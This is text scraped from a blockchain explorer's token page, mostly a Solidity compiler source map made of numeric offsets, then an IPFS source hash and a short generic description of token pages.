:7;15397:4;15385:11;:17::i;:::-;:21;;:28::i;:::-;15359:54;15449:4;;-1:-1:-1;15455:5:0;;-1:-1:-1;15000:469:0;;-1:-1:-1;;;;;15000:469:0:o;15477:534::-;15671:7;;;;15768:24;:7;15780:11;15768;:24::i;:::-;15750:42;-1:-1:-1;15803:12:0;15818:21;:4;15827:11;15818:8;:21::i;:::-;15803:36;-1:-1:-1;15850:13:0;15866:22;:5;15876:11;15866:9;:22::i;:::-;15850:38;-1:-1:-1;15899:23:0;15925:28;15850:38;15925:17;:7;15937:4;15925:11;:17::i;:28::-;15972:7;;;;-1:-1:-1;15998:4:0;;-1:-1:-1;15477:534:0;;-1:-1:-1;;;;;;;15477:534:0:o;2820:246::-;2878:7;2902:1;2907;2902:6;2898:47;;-1:-1:-1;2932:1:0;2925:8;;2898:47;2955:9;2967:5;2971:1;2967;:5;:::i;:::-;2955:17;-1:-1:-1;3000:1:0;2991:5;2995:1;2955:17;2991:5;:::i;:::-;:10;2983:56;;;;-1:-1:-1;;;2983:56:0;;13774:2:1;2983:56:0;;;13756:21:1;13813:2;13793:18;;;13786:30;13852:34;13832:18;;;13825:62;-1:-1:-1;;;13903:18:1;;;13896:31;13944:19;;2983:56:0;13572:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:273::-;2545:6;2598:2;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2653:9;2640:23;2706:5;2699:13;2692:21;2685:5;2682:32;2672:60;;2728:1;2725;2718:12;2767:247;2826:6;2879:2;2867:9;2858:7;2854:23;2850:32;2847:52;;;2895:1;2892;2885:12;2847:52;2934:9;2921:23;2953:31;2978:5;2953:31;:::i;3019:127::-;3080:10;3075:3;3071:20;3068:1;3061:31;3111:4;3108:1;3101:15;3135:4;3132:1;3125:15;3151:247;3218:2;3212:9;3260:3;3248:16;;3294:18;3279:34;;3315:22;;;3276:62;3273:88;;;3341:18;;:::i;:::-;3377:2;3370:22;3151:247;:::o;3403:252::-;3475:2;3469:9;3517:3;3505:16;;3551:18;3536:34;;3572:22;;;3533:62;3530:88;;;3598:18;;:::i;3660:408::-;3727:5;3756:17;;:::i;:::-;3747:26;;3793:5;3833:3;3825:6;3821:16;3860:3;3852:6;3849:15;3846:35;;;3877:1;3874;3867:12;3846:35;3901:6;3916:146;3932:6;3927:3;3924:15;3916:146;;;4000:17;;3988:30;;4047:4;4038:14;;;;3949;3916:146;;;3920:3;;;3660:408;;;;:::o;4073:663::-;4123:5;4176:3;4169:4;4161:6;4157:17;4153:27;4143:55;;4194:1;4191;4184:12;4143:55;4227:2;4221:9;4249:2;4290;4282:6;4278:15;4359:6;4347:10;4344:22;4323:18;4311:10;4308:34;4305:62;4302:88;;;4370:18;;:::i;:::-;4406:2;4399:22;4441:6;4470:15;;;4497;;;4494:35;;;4525:1;4522;4515:12;4494:35;4549:6;4564:142;4580:6;4575:3;4572:15;4564:142;;;4646:17;;4634:30;;4684:12;;;;4597;;4564:142;;;-1:-1:-1;4724:6:1;;4073:663;-1:-1:-1;;;;;;4073:663:1:o;4741:1553::-;4901:6;4909;4962:4;4950:9;4941:7;4937:23;4933:34;4930:54;;;4980:1;4977;4970:12;4930:54;5003:4;5050:7;5045:2;5034:9;5030:18;5026:32;5016:60;;5072:1;5069;5062:12;5016:60;5096:17;;:::i;:::-;5135:3;5176:4;5165:9;5161:20;5204:7;5196:6;5193:19;5190:39;;;5225:1;5222;5215:12;5190:39;5249:9;5267:937;5283:6;5278:3;5275:15;5267:937;;;5369:7;5364:2;5359:3;5355:12;5351:26;5341:124;;5419:1;5448:2;5444;5437:14;5341:124;5491:22;;:::i;:::-;5539:5;5582:6;5577:3;5573:16;5618:7;5608:8;5605:21;5602:111;;;5667:1;5696:2;5692;5685:14;5602:111;5739:3;5755:374;5773:8;5766:5;5763:19;5755:374;;;5872:7;5867:2;5860:5;5856:14;5852:28;5842:142;;5930:1;5963:2;5959;5952:14;5842:142;6015:57;6064:7;6057:5;6015:57;:::i;:::-;6001:72;;6110:4;6099:16;;;;5805:3;5794:15;5755:374;;;-1:-1:-1;;6142:18:1;;-1:-1:-1;6189:4:1;6180:14;;;;5309:6;5300:16;5267:937;;;5271:3;6223:5;6213:15;;6247:41;6280:7;6272:6;6247:41;:::i;:::-;6237:51;;;;;;4741:1553;;;;;:::o;6479:180::-;6538:6;6591:2;6579:9;6570:7;6566:23;6562:32;6559:52;;;6607:1;6604;6597:12;6559:52;-1:-1:-1;6630:23:1;;6479:180;-1:-1:-1;6479:180:1:o;6664:388::-;6732:6;6740;6793:2;6781:9;6772:7;6768:23;6764:32;6761:52;;;6809:1;6806;6799:12;6761:52;6848:9;6835:23;6867:31;6892:5;6867:31;:::i;:::-;6917:5;-1:-1:-1;6974:2:1;6959:18;;6946:32;6987:33;6946:32;6987:33;:::i;:::-;7039:7;7029:17;;;6664:388;;;;;:::o;7057:356::-;7259:2;7241:21;;;7278:18;;;7271:30;7337:34;7332:2;7317:18;;7310:62;7404:2;7389:18;;7057:356::o;7418:127::-;7479:10;7474:3;7470:20;7467:1;7460:31;7510:4;7507:1;7500:15;7534:4;7531:1;7524:15;7550:127;7611:10;7606:3;7602:20;7599:1;7592:31;7642:4;7639:1;7632:15;7666:4;7663:1;7656:15;7682:125;7747:9;;;7768:10;;;7765:36;;;7781:18;;:::i;7812:168::-;7885:9;;;7916;;7933:15;;;7927:22;;7913:37;7903:71;;7954:18;;:::i;7985:217::-;8025:1;8051;8041:132;;8095:10;8090:3;8086:20;8083:1;8076:31;8130:4;8127:1;8120:15;8158:4;8155:1;8148:15;8041:132;-1:-1:-1;8187:9:1;;7985:217::o;11431:128::-;11498:9;;;11519:11;;;11516:37;;;11533:18;;:::i;11975:251::-;12045:6;12098:2;12086:9;12077:7;12073:23;12069:32;12066:52;;;12114:1;12111;12104:12;12066:52;12146:9;12140:16;12165:31;12190:5;12165:31;:::i;12231:980::-;12493:4;12541:3;12530:9;12526:19;12572:6;12561:9;12554:25;12598:2;12636:6;12631:2;12620:9;12616:18;12609:34;12679:3;12674:2;12663:9;12659:18;12652:31;12703:6;12738;12732:13;12769:6;12761;12754:22;12807:3;12796:9;12792:19;12785:26;;12846:2;12838:6;12834:15;12820:29;;12867:1;12877:195;12891:6;12888:1;12885:13;12877:195;;;12956:13;;-1:-1:-1;;;;;12952:39:1;12940:52;;13047:15;;;;13012:12;;;;12988:1;12906:9;12877:195;;;-1:-1:-1;;;;;;;13128:32:1;;;;13123:2;13108:18;;13101:60;-1:-1:-1;;;13192:3:1;13177:19;13170:35;13089:3;12231:980;-1:-1:-1;;;12231:980:1:o
Swarm Source
ipfs://22740651da8122180a1207b2437ef8323132f7c32b4706948b7c641bcfc1c63f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.